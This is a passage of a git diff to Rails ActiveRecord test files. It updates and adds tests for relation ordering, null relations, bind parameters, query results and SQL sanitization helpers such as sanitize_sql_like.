+ def test_finding_with_subquery_without_select_does_not_change_the_select
+ relation = Topic.where(approved: true)
+ assert_raises(ActiveRecord::StatementInvalid) do
+ Topic.from(relation).to_a
+ end
+ end
+
+
def test_finding_with_conditions
assert_equal ["David"], Author.where(:name => 'David').map(&:name)
assert_equal ['Mary'], Author.where(["name = ?", 'Mary']).map(&:name)
@@ -147,48 +169,100 @@ class RelationTest < ActiveRecord::TestCase
def test_finding_with_order
topics = Topic.order('id')
- assert_equal 4, topics.to_a.size
+ assert_equal 5, topics.to_a.size
assert_equal topics(:first).title, topics.first.title
end
-
def test_finding_with_arel_order
topics = Topic.order(Topic.arel_table[:id].asc)
- assert_equal 4, topics.to_a.size
+ assert_equal 5, topics.to_a.size
assert_equal topics(:first).title, topics.first.title
end
def test_finding_with_assoc_order
topics = Topic.order(:id => :desc)
- assert_equal 4, topics.to_a.size
- assert_equal topics(:fourth).title, topics.first.title
+ assert_equal 5, topics.to_a.size
+ assert_equal topics(:fifth).title, topics.first.title
end
def test_finding_with_reverted_assoc_order
topics = Topic.order(:id => :asc).reverse_order
- assert_equal 4, topics.to_a.size
- assert_equal topics(:fourth).title, topics.first.title
+ assert_equal 5, topics.to_a.size
+ assert_equal topics(:fifth).title, topics.first.title
+ end
+
+ def test_order_with_hash_and_symbol_generates_the_same_sql
+ assert_equal Topic.order(:id).to_sql, Topic.order(:id => :asc).to_sql
+ end
+
+ def test_finding_with_desc_order_with_string
+ topics = Topic.order(id: "desc")
+ assert_equal 5, topics.to_a.size
+ assert_equal [topics(:fifth), topics(:fourth), topics(:third), topics(:second), topics(:first)], topics.to_a
+ end
+
+ def test_finding_with_asc_order_with_string
+ topics = Topic.order(id: 'asc')
+ assert_equal 5, topics.to_a.size
+ assert_equal [topics(:first), topics(:second), topics(:third), topics(:fourth), topics(:fifth)], topics.to_a
+ end
+
+ def test_support_upper_and_lower_case_directions
+ assert_includes Topic.order(id: "ASC").to_sql, "ASC"
+ assert_includes Topic.order(id: "asc").to_sql, "ASC"
+ assert_includes Topic.order(id: :ASC).to_sql, "ASC"
+ assert_includes Topic.order(id: :asc).to_sql, "ASC"
+
+ assert_includes Topic.order(id: "DESC").to_sql, "DESC"
+ assert_includes Topic.order(id: "desc").to_sql, "DESC"
+ assert_includes Topic.order(id: :DESC).to_sql, "DESC"
+ assert_includes Topic.order(id: :desc).to_sql,"DESC"
end
def test_raising_exception_on_invalid_hash_params
- assert_raise(ArgumentError) { Topic.order(:name, "id DESC", :id => :DeSc) }
+ e = assert_raise(ArgumentError) { Topic.order(:name, "id DESC", id: :asfsdf) }
+ assert_equal 'Direction "asfsdf" is invalid. Valid directions are: [:asc, :desc, :ASC, :DESC, "asc", "desc", "ASC", "DESC"]', e.message
end
def test_finding_last_with_arel_order
topics = Topic.order(Topic.arel_table[:id].asc)
- assert_equal topics(:fourth).title, topics.last.title
+ assert_equal topics(:fifth).title, topics.last.title
end
def test_finding_with_order_concatenated
- topics = Topic.order('title').order('author_name')
- assert_equal 4, topics.to_a.size
+ topics = Topic.order('author_name').order('title')
+ assert_equal 5, topics.to_a.size
assert_equal topics(:fourth).title, topics.first.title
end
+ def test_finding_with_order_by_aliased_attributes
+ topics = Topic.order(:heading)
+ assert_equal 5, topics.to_a.size
+ assert_equal topics(:fifth).title, topics.first.title
+ end
+
+ def test_finding_with_assoc_order_by_aliased_attributes
+ topics = Topic.order(heading: :desc)
+ assert_equal 5, topics.to_a.size
+ assert_equal topics(:third).title, topics.first.title
+ end
+
def test_finding_with_reorder
topics = Topic.order('author_name').order('title').reorder('id').to_a
- topics_titles = topics.map{ |t| t.title }
- assert_equal ['The First Topic', 'The Second Topic of the day', 'The Third Topic of the day', 'The Fourth Topic of the day'], topics_titles
+ topics_titles = topics.map(&:title)
+ assert_equal ['The First Topic', 'The Second Topic of the day', 'The Third Topic of the day', 'The Fourth Topic of the day', 'The Fifth Topic of the day'], topics_titles
+ end
+
+ def test_finding_with_reorder_by_aliased_attributes
+ topics = Topic.order('author_name').reorder(:heading)
+ assert_equal 5, topics.to_a.size
+ assert_equal topics(:fifth).title, topics.first.title
+ end
+
+ def test_finding_with_assoc_reorder_by_aliased_attributes
+ topics = Topic.order('author_name').reorder(heading: :desc)
+ assert_equal 5, topics.to_a.size
+ assert_equal topics(:third).title, topics.first.title
end
def test_finding_with_order_and_take
@@ -238,27 +312,27 @@ class RelationTest < ActiveRecord::TestCase
end
def test_none
- assert_no_queries do
+ assert_no_queries(ignore_none: false) do
assert_equal [], Developer.none
assert_equal [], Developer.all.none
end
end
def test_none_chainable
- assert_no_queries do
+ assert_no_queries(ignore_none: false) do
assert_equal [], Developer.none.where(:name => 'David')
end
end
def test_none_chainable_to_existing_scope_extension_method
- assert_no_queries do
+ assert_no_queries(ignore_none: false) do
assert_equal 1, Topic.anonymous_extension.none.one
end
end
def test_none_chained_to_methods_firing_queries_straight_to_db
- assert_no_queries do
- assert_equal [], Developer.none.pluck(:id) # => uses select_all
+ assert_no_queries(ignore_none: false) do
+ assert_equal [], Developer.none.pluck(:id, :name)
assert_equal 0, Developer.none.delete_all
assert_equal 0, Developer.none.update_all(:name => 'David')
assert_equal 0, Developer.none.delete(1)
@@ -267,7 +341,7 @@ class RelationTest < ActiveRecord::TestCase
end
def test_null_relation_content_size_methods
- assert_no_queries do
+ assert_no_queries(ignore_none: false) do
assert_equal 0, Developer.none.size
assert_equal 0, Developer.none.count
assert_equal true, Developer.none.empty?
@@ -277,9 +351,10 @@ class RelationTest < ActiveRecord::TestCase
end
def test_null_relation_calculations_methods
- assert_no_queries do
- assert_equal 0, Developer.none.count
- assert_equal nil, Developer.none.calculate(:average, 'salary')
+ assert_no_queries(ignore_none: false) do
+ assert_equal 0, Developer.none.count
+ assert_equal 0, Developer.none.calculate(:count, nil, {})
+ assert_equal nil, Developer.none.calculate(:average, 'salary')
end
end
@@ -288,6 +363,69 @@ class RelationTest < ActiveRecord::TestCase
assert_equal({}, Developer.none.where_values_hash)
end
+ def test_null_relation_where_values_hash
+ assert_equal({ 'salary' => 100_000 }, Developer.none.where(salary: 100_000).where_values_hash)
+ end
+
+ def test_null_relation_sum
+ ac = Aircraft.new
+ assert_equal Hash.new, ac.engines.group(:id).sum(:id)
+ assert_equal 0, ac.engines.count
+ ac.save
+ assert_equal Hash.new, ac.engines.group(:id).sum(:id)
+ assert_equal 0, ac.engines.count
+ end
+
+ def test_null_relation_count
+ ac = Aircraft.new
+ assert_equal Hash.new, ac.engines.group(:id).count
+ assert_equal 0, ac.engines.count
+ ac.save
+ assert_equal Hash.new, ac.engines.group(:id).count
+ assert_equal 0, ac.engines.count
+ end
+
+ def test_null_relation_size
+ ac = Aircraft.new
+ assert_equal Hash.new, ac.engines.group(:id).size
+ assert_equal 0, ac.engines.size
+ ac.save
+ assert_equal Hash.new, ac.engines.group(:id).size
+ assert_equal 0, ac.engines.size
+ end
+
+ def test_null_relation_average
+ ac = Aircraft.new
+ assert_equal Hash.new, ac.engines.group(:car_id).average(:id)
+ assert_equal nil, ac.engines.average(:id)
+ ac.save
+ assert_equal Hash.new, ac.engines.group(:car_id).average(:id)
+ assert_equal nil, ac.engines.average(:id)
+ end
+
+ def test_null_relation_minimum
+ ac = Aircraft.new
+ assert_equal Hash.new, ac.engines.group(:car_id).minimum(:id)
+ assert_equal nil, ac.engines.minimum(:id)
+ ac.save
+ assert_equal Hash.new, ac.engines.group(:car_id).minimum(:id)
+ assert_equal nil, ac.engines.minimum(:id)
+ end
+
+ def test_null_relation_maximum
+ ac = Aircraft.new
+ assert_equal Hash.new, ac.engines.group(:car_id).maximum(:id)
+ assert_equal nil, ac.engines.maximum(:id)
+ ac.save
+ assert_equal Hash.new, ac.engines.group(:car_id).maximum(:id)
+ assert_equal nil, ac.engines.maximum(:id)
+ end
+
+ def test_null_relation_in_where_condition
+ assert_operator Comment.count, :>, 0 # precondition, make sure there are comments.
+ assert_equal 0, Comment.where(post_id: Post.none).to_a.size
+ end
+
def test_joins_with_nil_argument
assert_nothing_raised { DependentFirm.joins(nil).first }
end
@@ -303,7 +441,7 @@ class RelationTest < ActiveRecord::TestCase
where('project_id=1').to_a
assert_equal 3, developers_on_project_one.length
- developer_names = developers_on_project_one.map { |d| d.name }
+ developer_names = developers_on_project_one.map(&:name)
assert developer_names.include?('David')
assert developer_names.include?('Jamis')
end
@@ -321,6 +459,22 @@ class RelationTest < ActiveRecord::TestCase
assert_equal 1, person_with_reader_and_post.size
end
+ def test_no_arguments_to_query_methods_raise_errors
+ assert_raises(ArgumentError) { Topic.references() }
+ assert_raises(ArgumentError) { Topic.includes() }
+ assert_raises(ArgumentError) { Topic.preload() }
+ assert_raises(ArgumentError) { Topic.group() }
+ assert_raises(ArgumentError) { Topic.reorder() }
+ end
+
+ def test_blank_like_arguments_to_query_methods_dont_raise_errors
+ assert_nothing_raised { Topic.references([]) }
+ assert_nothing_raised { Topic.includes([]) }
+ assert_nothing_raised { Topic.preload([]) }
+ assert_nothing_raised { Topic.group([]) }
+ assert_nothing_raised { Topic.reorder([]) }
+ end
+
def test_scoped_responds_to_delegated_methods
relation = Topic.all
@@ -351,7 +505,7 @@ class RelationTest < ActiveRecord::TestCase
def test_respond_to_dynamic_finders
relation = Topic.all
- ["find_by_title", "find_by_title_and_author_name", "find_or_create_by_title", "find_or_initialize_by_title_and_author_name"].each do |method|
+ ["find_by_title", "find_by_title_and_author_name"].each do |method|
assert_respond_to relation, method, "Topic.all should respond to #{method.inspect}"
end
end
@@ -404,6 +558,13 @@ class RelationTest < ActiveRecord::TestCase
end
end
+ def test_preload_applies_to_all_chained_preloaded_scopes
+ assert_queries(3) do
+ post = Post.with_comments.with_tags.first
+ assert post
+ end
+ end
+
def test_find_with_included_associations
assert_queries(2) do
posts = Post.includes(:comments).order('posts.id')
@@ -442,6 +603,14 @@ class RelationTest < ActiveRecord::TestCase
assert_equal Developer.where(name: 'David').map(&:id).sort, developers
end
+ def test_includes_with_select
+ query = Post.select('comments_count AS ranking').order('ranking').includes(:comments)
+ .where(comments: { id: 1 })
+
+ assert_equal ['comments_count AS ranking'], query.select_values
+ assert_equal 1, query.to_a.size
+ end
+
def test_loading_with_one_association
posts = Post.preload(:comments)
post = posts.find { |p| p.id == 1 }
@@ -457,6 +626,20 @@ class RelationTest < ActiveRecord::TestCase
assert_equal Post.find(1).last_comment, post.last_comment
end
+ def test_to_sql_on_eager_join
+ expected = assert_sql {
+ Post.eager_load(:last_comment).order('comments.id DESC').to_a
+ }.first
+ actual = Post.eager_load(:last_comment).order('comments.id DESC').to_sql
+ assert_equal expected, actual
+ end
+
+ def test_to_sql_on_scoped_proxy
+ auth = Author.first
+ Post.where("1=1").written_by(auth)
+ assert_not auth.posts.to_sql.include?("1=1")
+ end
+
def test_loading_with_one_association_with_non_preload
posts = Post.eager_load(:last_comment).order('comments.id DESC')
post = posts.find { |p| p.id == 1 }
@@ -469,7 +652,8 @@ class RelationTest < ActiveRecord::TestCase
expected_taggings = taggings(:welcome_general, :thinking_general)
assert_no_queries do
- assert_equal expected_taggings, author.taggings.uniq.sort_by { |t| t.id }
+ assert_equal expected_taggings, author.taggings.distinct.sort_by(&:id)
+ assert_equal expected_taggings, author.taggings.uniq.sort_by(&:id)
end
authors = Author.all
@@ -509,7 +693,7 @@ class RelationTest < ActiveRecord::TestCase
def test_find_in_empty_array
authors = Author.all.where(:id => [])
- assert_blank authors.to_a
+ assert authors.to_a.blank?
end
def test_where_with_ar_object
@@ -520,7 +704,7 @@ class RelationTest < ActiveRecord::TestCase
def test_find_with_list_of_ar
author = Author.first
- authors = Author.find([author])
+ authors = Author.find([author.id])
assert_equal author, authors.first
end
@@ -565,6 +749,13 @@ class RelationTest < ActiveRecord::TestCase
assert_equal [], relation.to_a
end
+ def test_typecasting_where_with_array
+ ids = Author.pluck(:id)
+ slugs = ids.map { |id| "#{id}-as-a-slug" }
+
+ assert_equal Author.all.to_a, Author.where(id: slugs).to_a
+ end
+
def test_find_all_using_where_with_relation
david = authors(:david)
# switching the lines below would succeed in current rails
@@ -573,6 +764,36 @@ class RelationTest < ActiveRecord::TestCase
relation = Author.where(:id => Author.where(:id => david.id))
assert_equal [david], relation.to_a
}
+
+ assert_queries(1) {
+ relation = Author.where('id in (?)', Author.where(id: david).select(:id))
+ assert_equal [david], relation.to_a
+ }
+
+ assert_queries(1) do
+ relation = Author.where('id in (:author_ids)', author_ids: Author.where(id: david).select(:id))
+ assert_equal [david], relation.to_a
+ end
+ end
+
+ def test_find_all_using_where_with_relation_with_bound_values
+ david = authors(:david)
+ davids_posts = david.posts.order(:id).to_a
+
+ assert_queries(1) do
+ relation = Post.where(id: david.posts.select(:id))
+ assert_equal davids_posts, relation.order(:id).to_a
+ end
+
+ assert_queries(1) do
+ relation = Post.where('id in (?)', david.posts.select(:id))
+ assert_equal davids_posts, relation.order(:id).to_a, 'should process Relation as bind variables'
+ end
+
+ assert_queries(1) do
+ relation = Post.where('id in (:post_ids)', post_ids: david.posts.select(:id))
+ assert_equal davids_posts, relation.order(:id).to_a, 'should process Relation as named bind variables'
+ end
end
def test_find_all_using_where_with_relation_and_alternate_primary_key
@@ -622,7 +843,7 @@ class RelationTest < ActiveRecord::TestCase
assert ! davids.exists?(authors(:mary).id)
assert ! davids.exists?("42")
assert ! davids.exists?(42)
- assert ! davids.exists?(davids.new)
+ assert ! davids.exists?(davids.new.id)
fake = Author.where(:name => 'fake author')
assert ! fake.exists?
@@ -667,8 +888,22 @@ class RelationTest < ActiveRecord::TestCase
assert davids.loaded?
end
- def test_delete_all_limit_error
+ def test_delete_all_with_unpermitted_relation_raises_error
assert_raises(ActiveRecord::ActiveRecordError) { Author.limit(10).delete_all }
+ assert_raises(ActiveRecord::ActiveRecordError) { Author.uniq.delete_all }
+ assert_raises(ActiveRecord::ActiveRecordError) { Author.group(:name).delete_all }
+ assert_raises(ActiveRecord::ActiveRecordError) { Author.having('SUM(id) < 3').delete_all }
+ assert_raises(ActiveRecord::ActiveRecordError) { Author.offset(10).delete_all }
+ end
+
+ def test_select_with_aggregates
+ posts = Post.select(:title, :body)
+
+ assert_equal 11, posts.count(:all)
+ assert_equal 11, posts.size
+ assert posts.any?
+ assert posts.many?
+ assert_not posts.empty?
end
def test_select_takes_a_variable_list_of_args
@@ -679,70 +914,15 @@ class RelationTest < ActiveRecord::TestCase
assert_equal david.salary, developer.salary
end
- def test_select_argument_error
- assert_raises(ArgumentError) { Developer.select }
- end
-
- def test_relation_merging
- devs = Developer.where("salary >= 80000").merge(Developer.limit(2)).merge(Developer.order('id ASC').where("id < 3"))
- assert_equal [developers(:david), developers(:jamis)], devs.to_a
-
- dev_with_count = Developer.limit(1).merge(Developer.order('id DESC')).merge(Developer.select('developers.*'))
- assert_equal [developers(:poor_jamis)], dev_with_count.to_a
- end
-
- def test_relation_merging_with_arel_equalities_keeps_last_equality
- devs = Developer.where(Developer.arel_table[:salary].eq(80000)).merge(
- Developer.where(Developer.arel_table[:salary].eq(9000))
- )
- assert_equal [developers(:poor_jamis)], devs.to_a
- end
+ def test_select_takes_an_aliased_attribute
+ first = topics(:first)
- def test_relation_merging_with_arel_equalities_keeps_last_equality_with_non_attribute_left_hand
- salary_attr = Developer.arel_table[:salary]
- devs = Developer.where(
- Arel::Nodes::NamedFunction.new('abs', [salary_attr]).eq(80000)
- ).merge(
- Developer.where(
- Arel::Nodes::NamedFunction.new('abs', [salary_attr]).eq(9000)
- )
- )
- assert_equal [developers(:poor_jamis)], devs.to_a
+ topic = Topic.where(id: first.id).select(:heading).first
+ assert_equal first.heading, topic.heading
end
- def test_relation_merging_with_eager_load
- relations = []
- relations << Post.order('comments.id DESC').merge(Post.eager_load(:last_comment)).merge(Post.all)
- relations << Post.eager_load(:last_comment).merge(Post.order('comments.id DESC')).merge(Post.all)
-
- relations.each do |posts|
- post = posts.find { |p| p.id == 1 }
- assert_equal Post.find(1).last_comment, post.last_comment
- end
- end
-
- def test_relation_merging_with_locks
- devs = Developer.lock.where("salary >= 80000").order("id DESC").merge(Developer.limit(2))
- assert_present devs.locked
- end
-
- def test_relation_merging_with_preload
- [Post.all.merge(Post.preload(:author)), Post.preload(:author).merge(Post.all)].each do |posts|
- assert_queries(2) { assert posts.first.author }
- end
- end
-
- def test_relation_merging_with_joins
- comments = Comment.joins(:post).where(:body => 'Thank you for the welcome').merge(Post.where(:body => 'Such a lovely day'))
- assert_equal 1, comments.count
- end
-
- def test_relation_merging_with_association
- assert_queries(2) do # one for loading post, and another one merged query
- post = Post.where(:body => 'Such a lovely day').first
- comments = Comment.where(:body => 'Thank you for the welcome').merge(post.comments)
- assert_equal 1, comments.count
- end
+ def test_select_argument_error
+ assert_raises(ArgumentError) { Developer.select }
end
def test_count
@@ -756,14 +936,33 @@ class RelationTest < ActiveRecord::TestCase
assert_equal 9, posts.where(:comments_count => 0).count
end
+ def test_count_on_association_relation
+ author = Author.last
+ another_author = Author.first
+ posts = Post.where(author_id: author.id)
+
+ assert_equal author.posts.where(author_id: author.id).size, posts.count
+
+ assert_equal 0, author.posts.where(author_id: another_author.id).size
+ assert author.posts.where(author_id: another_author.id).empty?
+ end
+
def test_count_with_distinct
posts = Post.all
- assert_equal 3, posts.count(:comments_count, :distinct => true)
- assert_equal 11, posts.count(:comments_count, :distinct => false)
+ assert_equal 3, posts.distinct(true).count(:comments_count)
+ assert_equal 11, posts.distinct(false).count(:comments_count)
+
+ assert_equal 3, posts.distinct(true).select(:comments_count).count
+ assert_equal 11, posts.distinct(false).select(:comments_count).count
+ end
- assert_equal 3, posts.select(:comments_count).count(:distinct => true)
- assert_equal 11, posts.select(:comments_count).count(:distinct => false)
+ def test_update_all_with_scope
+ tag = Tag.first
+ Post.tagged_with(tag.id).update_all title: "rofl"
+ list = Post.tagged_with(tag.id).all.to_a
+ assert_operator list.length, :>, 0
+ list.each { |post| assert_equal 'rofl', post.title }
end
def test_count_explicit_columns
@@ -1143,20 +1342,20 @@ class RelationTest < ActiveRecord::TestCase
end
def test_default_scope_order_with_scope_order
- assert_equal 'honda', CoolCar.order_using_new_style.limit(1).first.name
- assert_equal 'honda', FastCar.order_using_new_style.limit(1).first.name
+ assert_equal 'zyke', CoolCar.order_using_new_style.limit(1).first.name
+ assert_equal 'zyke', FastCar.order_using_new_style.limit(1).first.name
end
def test_order_using_scoping
car1 = CoolCar.order('id DESC').scoping do
- CoolCar.all.merge!(:order => 'id asc').first
+ CoolCar.all.merge!(order: 'id asc').first
end
- assert_equal 'honda', car1.name
+ assert_equal 'zyke', car1.name
car2 = FastCar.order('id DESC').scoping do
- FastCar.all.merge!(:order => 'id asc').first
+ FastCar.all.merge!(order: 'id asc').first
end
- assert_equal 'honda', car2.name
+ assert_equal 'zyke', car2.name
end
def test_unscoped_block_style
@@ -1176,20 +1375,9 @@ class RelationTest < ActiveRecord::TestCase
assert_equal "id", Post.all.primary_key
end
- def test_eager_loading_with_conditions_on_joins
- scope = Post.includes(:comments)
-
- # This references the comments table, and so it should cause the comments to be eager
- # loaded via a JOIN, rather than by subsequent queries.
- scope = scope.joins(
- Post.arel_table.create_join(
- Post.arel_table,
- Post.arel_table.create_on(Comment.arel_table[:id].eq(3))
- )
- )
-
+ def test_disable_implicit_join_references_is_deprecated
assert_deprecated do
- assert scope.eager_loading?
+ ActiveRecord::Base.disable_implicit_join_references = true
end
end
@@ -1239,7 +1427,7 @@ class RelationTest < ActiveRecord::TestCase
assert_equal posts(:welcome), comments(:greetings).post
end
- def test_uniq
+ def test_distinct
tag1 = Tag.create(:name => 'Foo')
tag2 = Tag.create(:name => 'Foo')
@@ -1247,14 +1435,25 @@ class RelationTest < ActiveRecord::TestCase
assert_equal ['Foo', 'Foo'], query.map(&:name)
assert_sql(/DISTINCT/) do
+ assert_equal ['Foo'], query.distinct.map(&:name)
assert_equal ['Foo'], query.uniq.map(&:name)
end
assert_sql(/DISTINCT/) do
+ assert_equal ['Foo'], query.distinct(true).map(&:name)
assert_equal ['Foo'], query.uniq(true).map(&:name)
end
+ assert_equal ['Foo', 'Foo'], query.distinct(true).distinct(false).map(&:name)
assert_equal ['Foo', 'Foo'], query.uniq(true).uniq(false).map(&:name)
end
+ def test_doesnt_add_having_values_if_options_are_blank
+ scope = Post.having('')
+ assert_equal [], scope.having_values
+
+ scope = Post.having([])
+ assert_equal [], scope.having_values
+ end
+
def test_references_triggers_eager_loading
scope = Post.includes(:comments)
assert !scope.eager_loading?
@@ -1274,6 +1473,14 @@ class RelationTest < ActiveRecord::TestCase
assert_equal ['comments'], scope.references_values
end
+ def test_automatically_added_where_not_references
+ scope = Post.where.not(comments: { body: "Bla" })
+ assert_equal ['comments'], scope.references_values
+
+ scope = Post.where.not('comments.body' => 'Bla')
+ assert_equal ['comments'], scope.references_values
+ end
+
def test_automatically_added_having_references
scope = Post.having(:comments => { :body => "Bla" })
assert_equal ['comments'], scope.references_values
@@ -1300,6 +1507,36 @@ class RelationTest < ActiveRecord::TestCase
assert_equal [], scope.references_values
end
+ def test_automatically_added_reorder_references
+ scope = Post.reorder('comments.body')
+ assert_equal %w(comments), scope.references_values
+
+ scope = Post.reorder('comments.body', 'yaks.body')
+ assert_equal %w(comments yaks), scope.references_values
+
+ # Don't infer yaks, let's not go down that road again...
+ scope = Post.reorder('comments.body, yaks.body')
+ assert_equal %w(comments), scope.references_values
+
+ scope = Post.reorder('comments.body asc')
+ assert_equal %w(comments), scope.references_values
+
+ scope = Post.reorder('foo(comments.body)')
+ assert_equal [], scope.references_values
+ end
+
+ def test_order_with_reorder_nil_removes_the_order
+ relation = Post.order(:title).reorder(nil)
+
+ assert_nil relation.order_values.first
+ end
+
+ def test_reverse_order_with_reorder_nil_removes_the_order
+ relation = Post.order(:title).reverse_order.reorder(nil)
+
+ assert_nil relation.order_values.first
+ end
+
def test_presence
topics = Topic.all
@@ -1339,7 +1576,7 @@ class RelationTest < ActiveRecord::TestCase
end
test "find_by doesn't have implicit ordering" do
- assert_sql(/^((?!ORDER).)*$/) { Post.find_by(author_id: 2) }
+ assert_sql(/^((?!ORDER).)*$/) { Post.all.find_by(author_id: 2) }
end
test "find_by! with hash conditions returns the first matching record" do
@@ -1355,7 +1592,7 @@ class RelationTest < ActiveRecord::TestCase
end
test "find_by! doesn't have implicit ordering" do
- assert_sql(/^((?!ORDER).)*$/) { Post.find_by!(author_id: 2) }
+ assert_sql(/^((?!ORDER).)*$/) { Post.all.find_by!(author_id: 2) }
end
test "find_by! raises RecordNotFound if the record is missing" do
@@ -1453,32 +1690,56 @@ class RelationTest < ActiveRecord::TestCase
end
end
+ test "joins with select" do
+ posts = Post.joins(:author).select("id", "authors.author_address_id").order("posts.id").limit(3)
+ assert_equal [1, 2, 4], posts.map(&:id)
+ assert_equal [1, 1, 1], posts.map(&:author_address_id)
+ end
+
test "delegations do not leak to other classes" do
Topic.all.by_lifo
assert Topic.all.class.method_defined?(:by_lifo)
assert !Post.all.respond_to?(:by_lifo)
end
- class OMGTopic < ActiveRecord::Base
- self.table_name = 'topics'
+ def test_unscope_removes_binds
+ left = Post.where(id: Arel::Nodes::BindParam.new)
+ column = Post.columns_hash['id']
+ left.bind_values += [[column, 20]]
- def self.__omg__
- "omgtopic"
- end
+ relation = left.unscope(where: :id)
+ assert_equal [], relation.bind_values
end
- test "delegations do not clash across classes" do
- begin
- class ::Array
- def __omg__
- "array"
- end
- end
+ def test_merging_removes_rhs_bind_parameters
+ left = Post.where(id: 20)
+ right = Post.where(id: [1,2,3,4])
- assert_equal "array", Topic.all.__omg__
- assert_equal "omgtopic", OMGTopic.all.__omg__
- ensure
- Array.send(:remove_method, :__omg__)
- end
+ merged = left.merge(right)
+ assert_equal [], merged.bind_values
+ end
+
+ def test_merging_keeps_lhs_bind_parameters
+ column = Post.columns_hash['id']
+ binds = [[column, 20]]
+
+ right = Post.where(id: 20)
+ left = Post.where(id: 10)
+
+ merged = left.merge(right)
+ assert_equal binds, merged.bind_values
+ end
+
+ def test_merging_reorders_bind_params
+ post = Post.first
+ right = Post.where(id: post.id)
+ left = Post.where(title: post.title)
+
+ merged = left.merge(right)
+ assert_equal post, merged.first
+ end
+
+ def test_relation_join_method
+ assert_equal 'Thank you for the welcome,Thank you again for the welcome', Post.first.comments.join(",")
end
end
diff --git a/activerecord/test/cases/result_test.rb b/activerecord/test/cases/result_test.rb
new file mode 100644
index 0000000000..dec01dfa76
--- /dev/null
+++ b/activerecord/test/cases/result_test.rb
@@ -0,0 +1,80 @@
+require "cases/helper"
+
+module ActiveRecord
+ class ResultTest < ActiveRecord::TestCase
+ def result
+ Result.new(['col_1', 'col_2'], [
+ ['row 1 col 1', 'row 1 col 2'],
+ ['row 2 col 1', 'row 2 col 2'],
+ ['row 3 col 1', 'row 3 col 2'],
+ ])
+ end
+
+ test "length" do
+ assert_equal 3, result.length
+ end
+
+ test "to_hash returns row_hashes" do
+ assert_equal [
+ {'col_1' => 'row 1 col 1', 'col_2' => 'row 1 col 2'},
+ {'col_1' => 'row 2 col 1', 'col_2' => 'row 2 col 2'},
+ {'col_1' => 'row 3 col 1', 'col_2' => 'row 3 col 2'},
+ ], result.to_hash
+ end
+
+ test "each with block returns row hashes" do
+ result.each do |row|
+ assert_equal ['col_1', 'col_2'], row.keys
+ end
+ end
+
+ test "each without block returns an enumerator" do
+ result.each.with_index do |row, index|
+ assert_equal ['col_1', 'col_2'], row.keys
+ assert_kind_of Integer, index
+ end
+ end
+
+ if Enumerator.method_defined? :size
+ test "each without block returns a sized enumerator" do
+ assert_equal 3, result.each.size
+ end
+ end
+
+ test "cast_values returns rows after type casting" do
+ values = [["1.1", "2.2"], ["3.3", "4.4"]]
+ columns = ["col1", "col2"]
+ types = { "col1" => Type::Integer.new, "col2" => Type::Float.new }
+ result = Result.new(columns, values, types)
+
+ assert_equal [[1, 2.2], [3, 4.4]], result.cast_values
+ end
+
+ test "cast_values uses identity type for unknown types" do
+ values = [["1.1", "2.2"], ["3.3", "4.4"]]
+ columns = ["col1", "col2"]
+ types = { "col1" => Type::Integer.new }
+ result = Result.new(columns, values, types)
+
+ assert_equal [[1, "2.2"], [3, "4.4"]], result.cast_values
+ end
+
+ test "cast_values returns single dimensional array if single column" do
+ values = [["1.1"], ["3.3"]]
+ columns = ["col1"]
+ types = { "col1" => Type::Integer.new }
+ result = Result.new(columns, values, types)
+
+ assert_equal [1, 3], result.cast_values
+ end
+
+ test "cast_values can receive types to use instead" do
+ values = [["1.1", "2.2"], ["3.3", "4.4"]]
+ columns = ["col1", "col2"]
+ types = { "col1" => Type::Integer.new, "col2" => Type::Float.new }
+ result = Result.new(columns, values, types)
+
+ assert_equal [[1.1, 2.2], [3.3, 4.4]], result.cast_values("col1" => Type::Float.new)
+ end
+ end
+end
diff --git a/activerecord/test/cases/sanitize_test.rb b/activerecord/test/cases/sanitize_test.rb
index 817897ceac..f477cf7d92 100644
--- a/activerecord/test/cases/sanitize_test.rb
+++ b/activerecord/test/cases/sanitize_test.rb
@@ -1,10 +1,23 @@
require "cases/helper"
require 'models/binary'
+require 'models/author'
+require 'models/post'
class SanitizeTest < ActiveRecord::TestCase
def setup
end
+ def test_sanitize_sql_hash_handles_associations
+ quoted_bambi = ActiveRecord::Base.connection.quote("Bambi")
+ quoted_column_name = ActiveRecord::Base.connection.quote_column_name("name")
+ quoted_table_name = ActiveRecord::Base.connection.quote_table_name("adorable_animals")
+ expected_value = "#{quoted_table_name}.#{quoted_column_name} = #{quoted_bambi}"
+
+ assert_deprecated do
+ assert_equal expected_value, Binary.send(:sanitize_sql_hash, {adorable_animals: {name: 'Bambi'}})
+ end
+ end
+
def test_sanitize_sql_array_handles_string_interpolation
quoted_bambi = ActiveRecord::Base.connection.quote_string("Bambi")
assert_equal "name=#{quoted_bambi}", Binary.send(:sanitize_sql_array, ["name=%s", "Bambi"])
@@ -22,4 +35,49 @@ class SanitizeTest < ActiveRecord::TestCase
assert_equal "name=#{quoted_bambi_and_thumper}", Binary.send(:sanitize_sql_array, ["name=?", "Bambi\nand\nThumper"])
assert_equal "name=#{quoted_bambi_and_thumper}", Binary.send(:sanitize_sql_array, ["name=?", "Bambi\nand\nThumper".mb_chars])
end
+
+ def test_sanitize_sql_array_handles_relations
+ david = Author.create!(name: 'David')
+ david_posts = david.posts.select(:id)
+
+ sub_query_pattern = /\(\bselect\b.*?\bwhere\b.*?\)/i
+
+ select_author_sql = Post.send(:sanitize_sql_array, ['id in (?)', david_posts])
+ assert_match(sub_query_pattern, select_author_sql, 'should sanitize `Relation` as subquery for bind variables')
+
+ select_author_sql = Post.send(:sanitize_sql_array, ['id in (:post_ids)', post_ids: david_posts])
+ assert_match(sub_query_pattern, select_author_sql, 'should sanitize `Relation` as subquery for named bind variables')
+ end
+
+ def test_sanitize_sql_array_handles_empty_statement
+ select_author_sql = Post.send(:sanitize_sql_array, [''])
+ assert_equal('', select_author_sql)
+ end
+
+ def test_sanitize_sql_like
+ assert_equal '100\%', Binary.send(:sanitize_sql_like, '100%')
+ assert_equal 'snake\_cased\_string', Binary.send(:sanitize_sql_like, 'snake_cased_string')
+ assert_equal 'C:\\\\Programs\\\\MsPaint', Binary.send(:sanitize_sql_like, 'C:\\Programs\\MsPaint')
+ assert_equal 'normal string 42', Binary.send(:sanitize_sql_like, 'normal string 42')
+ end
+
+ def test_sanitize_sql_like_with_custom_escape_character
+ assert_equal '100!%', Binary.send(:sanitize_sql_like, '100%', '!')
+ assert_equal 'snake!_cased!_string', Binary.send(:sanitize_sql_like, 'snake_cased_string', '!')
+ assert_equal 'great!!', Binary.send(:sanitize_sql_like, 'great!', '!')
+ assert_equal 'C:\\Programs\\MsPaint', Binary.send(:sanitize_sql_like, 'C:\\Programs\\MsPaint', '!')
